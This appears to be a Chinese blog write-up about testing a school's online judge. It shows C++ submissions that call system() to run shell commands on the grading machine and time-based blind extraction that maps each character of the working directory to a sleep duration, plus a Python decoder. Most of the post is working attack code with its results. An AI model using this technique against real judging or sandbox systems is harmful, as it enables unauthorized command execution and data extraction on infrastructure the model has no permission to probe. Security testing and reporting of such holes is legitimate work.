一次学校OJ 代码执行测试

前言

以前看过一篇Windows上搭OJ被C#打穿的文章,刚好测测学校的OJ。
这里没有过多的研究其余的可能利用点,仅仅是简单记录下过程,一些思路的启发。

测试过程

首先看支持的代码类型:
image

尝试了Java发现不能import,那Java就没用了。
所幸是Linux上的C++,只要有cstdlib就可以system

如何判断能否执行命令呢?
可以通过时间回显来判断。(后面会有具体代码演示)
尝试发现可以执行一般的Linux命令,尝试ping vps,发现并不出网。
评测机应该是docker不出网环境。
那么命令执行的结果就只能通过时间盲注来判断了。
比如sleep(1)这种。

然后呢,为了更高效的盲注,想了一招:拆分时间gap来区分不同的字符,然后一次性将a~zA~Z0~9/-_全部判断完。
不然一个字符就得注六十多次。。。

一些测试代码如下:(GPT写的,能跑就行,楽)

#include <iostream>
#include <cstdlib> // For system()
#include <unistd.h> // For sleep()

int main() {
    // 执行命令,检查结果并进行睡眠
    int result = system("if [ $(pwd | head -c 1) = 'a' ]; then sleep 1; fi");

    // 检查命令执行是否成功
    if (result == -1) {
        std::cerr << "Failed to execute command" << std::endl;
        return 1;
    }

    return 0;
}

image

那么就可以根据这种时间回显来盲注字符

#include <iostream>
#include <cstdlib>  // For system()
#include <fstream>  // For std::ifstream
#include <unistd.h> // For usleep()

// 从文件中获取指定位置的字符(从 1 开始)
char getCharacterFromFile(const std::string& filepath) {
    std::ifstream file(filepath);
    if (!file) {
        std::cerr << "Failed to open file" << std::endl;
        return '\0';
    }
    
    char ch;
    file.get(ch); // 读取一个字符
    file.close();
    return ch;
}

int main() {
    size_t position = 1;  // 修改这个值以提取不同位置的字符,例如1, 2, 3
    
    // 使用 system 命令提取指定字符到临时文件
    std::string command = "pwd | cut -c " + std::to_string(position) + " > /tmp/char_at_position.txt";
    int result = system(command.c_str());
    if (result != 0) {
        std::cerr << "Failed to execute command" << std::endl;
        return 1;
    }

    // 获取文件中的指定字符
    char charAtPosition = getCharacterFromFile("/tmp/char_at_position.txt");
    
    // 计算睡眠时间
    unsigned int sleepTime = 0;
    
    if (charAtPosition >= 'a' && charAtPosition <= 'z') {
        sleepTime = (charAtPosition - 'a' + 1) * 10; // a = 10ms, b = 20ms, ..., z = 260ms
    } else if (charAtPosition >= 'A' && charAtPosition <= 'Z') {
        sleepTime = (charAtPosition - 'A' + 1 + 26) * 10; // A = 270ms, B = 280ms, ..., Z = 520ms
    } else if (charAtPosition >= '0' && charAtPosition <= '9') {
        sleepTime = (charAtPosition - '0' + 1 + 52) * 10; // 0 = 530ms, 1 = 540ms, ..., 9 = 620ms
    } else if (charAtPosition == '/') {
        sleepTime = 630; // 定义字符 '/' 的 sleep 时间
    } else if (charAtPosition == '-') {
        sleepTime = 640; // 定义字符 '-' 的 sleep 时间
    } else if (charAtPosition == '_') {
        sleepTime = 650; // 定义字符 '_' 的 sleep 时间
    }

    // 执行睡眠操作
    if (sleepTime > 0) {
        std::cout << "Sleeping for " << sleepTime << " milliseconds." << std::endl;
        usleep(sleepTime * 1000); // usleep 以微秒为单位
    } else {
        std::cout << "The character at the specified position is not in the range a-z, A-Z, 0-9, /, -, or _. No sleep." << std::endl;
    }

    // 删除临时文件
    system("rm /tmp/char_at_position.txt");

    return 0;
}

image

说明第一个是’/’
后面的就可以这么依次注出来了。

这里再测试后面几个字符:
在这里插入图片描述

然后python写个转换映射:

# 创建一个空字典用于反向映射
reverse_sleep_times = {}

# 计算小写字母的睡眠时间并填充反向映射
for i in range(ord('a'), ord('z') + 1):
    char = chr(i)
    sleep_time = (i - ord('a') + 1) * 10
    reverse_sleep_times[sleep_time] = char

# 计算大写字母的睡眠时间并填充反向映射
for i in range(ord('A'), ord('Z') + 1):
    char = chr(i)
    sleep_time = (i - ord('A') + 1 + 26) * 10
    reverse_sleep_times[sleep_time] = char

# 计算数字的睡眠时间并填充反向映射
for i in range(ord('0'), ord('9') + 1):
    char = chr(i)
    sleep_time = (i - ord('0') + 1 + 52) * 10
    reverse_sleep_times[sleep_time] = char

# 计算特殊字符的睡眠时间并填充反向映射
special_chars = {'/': 630, '-': 640, '_': 650}
for char, time in special_chars.items():
    reverse_sleep_times[time] = char

table = reverse_sleep_times
while True:
    num = input("> ").strip()
    num = int(num)
    print(table[num])
    
    

在这里插入图片描述

大概能判断出是 /test
为了更清晰的辨认当然可以使时间gap更大,这里就不再演示了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值